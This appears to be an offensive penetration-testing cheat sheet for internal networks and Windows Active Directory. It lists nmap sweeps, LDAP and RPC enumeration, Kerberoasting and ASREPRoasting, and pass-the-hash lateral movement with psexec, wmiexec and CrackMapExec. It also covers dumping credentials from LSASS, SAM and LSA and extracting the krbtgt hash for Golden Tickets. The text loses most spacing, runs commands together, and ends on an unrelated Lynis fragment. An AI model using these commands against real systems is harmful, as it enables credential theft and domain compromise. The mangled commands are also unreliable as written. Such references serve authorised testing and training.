# check what infos you can seewireshark# nmap# BEST - https://miloserdov.org/?p=5248# discoversudonmap-v-sn-PE-n--min-hostgroup1024--min-parallelism1024-oXnmap_output.xml $network_ip# extract the hostsgrep-A2'up'nmap_output.xml|grep-E-o'[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'>hosts.txt# scan them, find routerssudo nmap -v -PE -n --min-hostgroup 1024 --min-parallelism 1024 -p 80,443,8080,1080 --open -iL hosts.txt -oX nmap_routers.xml
# OTHERS# Ping discovery, Top 20, fragment packets, no DNS resolutionnmap-v--top-ports20 $ip/24-f-n--open-oA# Ping discovery, Top 200, fragment packets, no DNS resolution, service versionnmap-v--top-ports200 $ip/24-f-n-sV--open-oA# Top 1000, fragment packets, no DNS resolution, service version, all alive (no ping)nmap-v--top-ports1000 $ip/24-f-n-sV-Pn--open-oA
Windows AD
If you have no credentials
# Get domain namecmesmb10.10.10.10smbmap-H $dc_ip -u''-p''# Detect SMB on networkresponder-RunFinger-iX.X.X.0/24# Find DCnslookup-q=srv_ldap._tcp.dc._msdcs.<domain.name>nslookup-type=srv_ldap._tcp.<domain.name>|grepldap|cut-d' '-f6|sed's/\.$//g'# Enumerate DCldapsearch-h<DC.IP>-x-sbasenamingcontexts# Check for null session, if got users go for ASREPRoast with GetNPUsersldapsearch-h<DC.IP>-x-b"DC=XX,DC=XX"# Get hashes with no krb preauthGetNPUsers.py [Domain Name]/-dc-ip [Domain ControllerIPaddress]-requestGetNPUsers.py'DC.LOCAL/'-usersfileusers.txt-formathashcat-outputfilehashes.aspreroast-dc-ip10.10.10.10# Get Users ListGetADUsers.pyDC.local/-dc-ip $dc_ip -debug# Get Users from ldapwindapsearch-Uβfullβdc-ip $dc_ip# Get base domainldapsearch-x-h $dc_ip -sbasenamingcontexts# Get more info from DCldapsearch-x-h $dc_ip -bβDC=DCNAME,DC=LOCALβ# User Domain infoGet-ADUser $name# Forest infoGet-ADForest# Get all computers in the current domainGet-NetComputer
Kerberos
# Kerberoasting (hashcat 13100)GetUserSPNs.py-request-save-dc-ip<IP>domain/user# hashcat 13100# Bruteforce usernames and passwords with kerbrutekerbrute.py-d<DC.LOCAL>-users<users_file>-passwords<passwords_file>-outputfile<output_file># ASREPRoast (hashcat 18200)GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
# PTH/PTK# Request ticketgetTGT.py<domain_name>/<user_name>-hashes [lm_hash]:<ntlm_hash>getTGT.py<domain_name>/<user_name>-aesKey<aes_key>getTGT.py<domain_name>/<user_name>:[password]# Set ticketexport KRB5CCNAME=<TGT_ccache_file># Use itpsexec.py<domain_name>/<user_name>@<remote_hostname>-k-no-passpsexec.py-hashes'hash'-dc-ip10.10.10.10username@10.10.10.10smbexec.py<domain_name>/<user_name>@<remote_hostname>-k-no-passwmiexec.py<domain_name>/<user_name>@<remote_hostname>-k-no-pass
If you have credentials
# Enum AD AIO# https://github.com/CasperGN/ActiveDirectoryEnumerationpython3-made--dc<domain.name>-u<user@domain.name>--help# https://github.com/adrecon/ADRecon from Windows on Domain# windapsearch# https://github.com/ropnop/go-windapsearchwindapsearch-d<domain>.<name>-u<user>-p<password>--help# LDAP# best tool : ldeep - https://github.com/franc-pentest/ldeepldeepldap-u<USER>-p<PASSWORD>-d<DOMAIN>-sldap://<DC_IP_OR_LDAP_SERV>allldap_dump_# Domain usersldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(&(objectClass=user)(objectCategory=person))" name sAMAccountName userPrincipalName memberOf primaryGroupID adminCount userAccountControl description servicePrincipalName objectSid pwdLastSet lastLogon -E pr=1000/noprompt | tee domain_users.txt
# Domain computersldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=computer)" name dNSHostname memberOf operatingSystem operatingSystemVersion lastLogonTimestamp servicePrincipalName description userAccountControl | tee domain_computers.txt
# Domain groupsldapsearch -LLL -x -H ldap://<DC.IP> -D "<USER>@<DOMAIN.NAME>" -w '<PASSWORD>' -b dc=<DOMAIN NAME>,dc=<DOMAIN NAME> -o ldif-wrap=no "(objectClass=group)" name sAMAccountName memberOf member description objectSid | tee domain_groups.txt
# RPClient - enumeration users, groups, ...rpcclient-U"DOMAIN/username%password"<domaincontrollernameorIP>" -c dsr_enumtrustdomrpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>"-cenumdomainsrpcclient-U"DOMAIN/username%password"<domaincontrollernameorIP>" -c enumdomusersrpcclient -U "DOMAIN/username%password" <domaincontroller name or IP>"-cenumdomgroups# CME# Run commands# can you access sensitive shares ? check for SYSVOLcmesmb<IP>-u<USER>-p'<PASS>'--shares# PScmesmb<IP>-u<USER>-p'<PASS>'-X'Get-Host'# CMDcmesmb<IP>-u<USER>-p'<PASS>'-xwhoami# PTHcmesmb<IP>-u<USER>-H<NTHASH>-xwhoami# Other methodscmesmb<IP>-u<USER>-p'<PASS>'--exec-method{mmcexec,smbexec,atexec,wmiexec}# Dumps# LSASSYcmesmb<IP>-d<DOMAIN>-u<USER>-p<PASS>-Mlsassy# SAMcmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--sam# LSAcmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--lsa# Sessionscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--sessions# Logged userscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--loggedon-users# Diskscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--disks# Userscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--users#Enumerate users# Groupscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--groups# Local groupscmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--local-groups# Password policycmesmb<IP>-d<DOMAIN>-u<USER>-p'<PASS>'--pass-pol
Dumps secrets
# User hashsecretsdump.py'<DC.NAME>/<User>@<DC.IP>'-just-dc-useruser1# krbtgt hash dump -> Golden Ticketsecretsdump.py'<DC.NAME>/<User>@<DC.IP>'-just-dc-userkrbtgt
Local Privilege Escalation
Juicy Potato
Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation
Works only until Windows Server 2016 and Windows 10 until patch 1803.
Lynis is a battle-tested security tool for systems running Linux, macOS, or Unix-based operating system. It performs an extensive health scan of your systems to support system hardening and compliance testing.
In order to install Lynis on your system, you must follow these steps :